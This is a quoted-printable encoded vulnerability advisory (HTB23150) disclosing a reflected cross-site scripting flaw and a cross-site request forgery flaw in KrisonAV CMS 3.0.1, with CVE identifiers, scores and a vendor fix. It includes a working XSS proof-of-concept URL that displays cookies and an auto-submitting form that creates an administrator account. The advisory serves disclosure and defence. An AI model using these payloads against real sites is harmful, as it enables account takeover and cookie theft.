Advisory ID: HTB23150
Product: KrisonAV CMS
Vendor: http://www.krisonav.com
Vulnerable Version(s): 3.0.1 and probably prior
Tested Version: 3.0.1
Vendor Notification: March 27, 2013=20
Vendor Patch: March 31, 2013=20
Public Disclosure: April 17, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forge=
ry [CWE-352]
CVE References: CVE-2013-2712, CVE-2013-2713
Risk Level: Medium=20
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C=
:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities =
in KrisonAV CMS, which can be exploited to perform cross-site scripting and=
cross-site request forgery attacks.
1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712
The vulnerability exists due to insufficient filtration of user-supplied da=
ta passed to "content" HTTP GET parameter via "/services/get_article.php" s=
cript. A remote attacker can trick a logged-in user to follow a specially c=
rafted link and execute arbitrary HTML and script code in user's browser in=
context of the vulnerable website.
The exploitation example below uses JavaScript "alert()" function to displa=
y user's cookies:
http://[host]/services/get_article.php?content=3D%3Cscript%3Ealert%28docume=
nt.cookie%29;%3C/script%3E
2) =D0=A1ross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CV=
E-2013-2713
The vulnerability exists due to insufficient verification of the HTTP reque=
st origin in "/users_maint.html" script. A remote attacker can trick a logg=
ed-in administrator to visit a specially crafted webpage and create a new a=
ccount with administrative privileges.
PoC (Proof-of-Concept) below will create a new account with login "username=
" and password "password":
<form action=3D"http://[host]/users_maint.html?itemid=3D52&maint=3D1&ccsFor=
m=3Dusers" method=3D"post" name=3D"f1">
<input type=3D"hidden" name=3D"disabledCheckBox" value=3D"1">
<input type=3D"hidden" name=3D"username" value=3D"username">
<input type=3D"hidden" name=3D"password" value=3D"password">
<input type=3D"hidden" name=3D"groups_index" value=3D"20">
<input type=3D"hidden" name=3D"email" value=3D"newuser@mail.com">
<input type=3D"hidden" name=3D"Button_Insert" value=3D"Save">
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.f1.submit();
</script>
---------------------------------------------------------------------------=
--------------------
Solution:
Upgrade to KrisonAV CMS 3.0.2
More Information:
http://www.krisonav.com/articles_show.html?articles_id=3Drelease-notes
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23150 - https://www.htbridge.com/advisory/=
HTB23150 - Multiple Vulnerabilities in KrisonAV CMS.
[2] KrisonAV CMS - http://www.krisonav.com - KrisonAV is a content manageme=
nt system (CMS), which enables you to build Web sites and online applicatio=
ns. It is based on Codecharge Studio, that makes it extremely powerful and =
secure.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.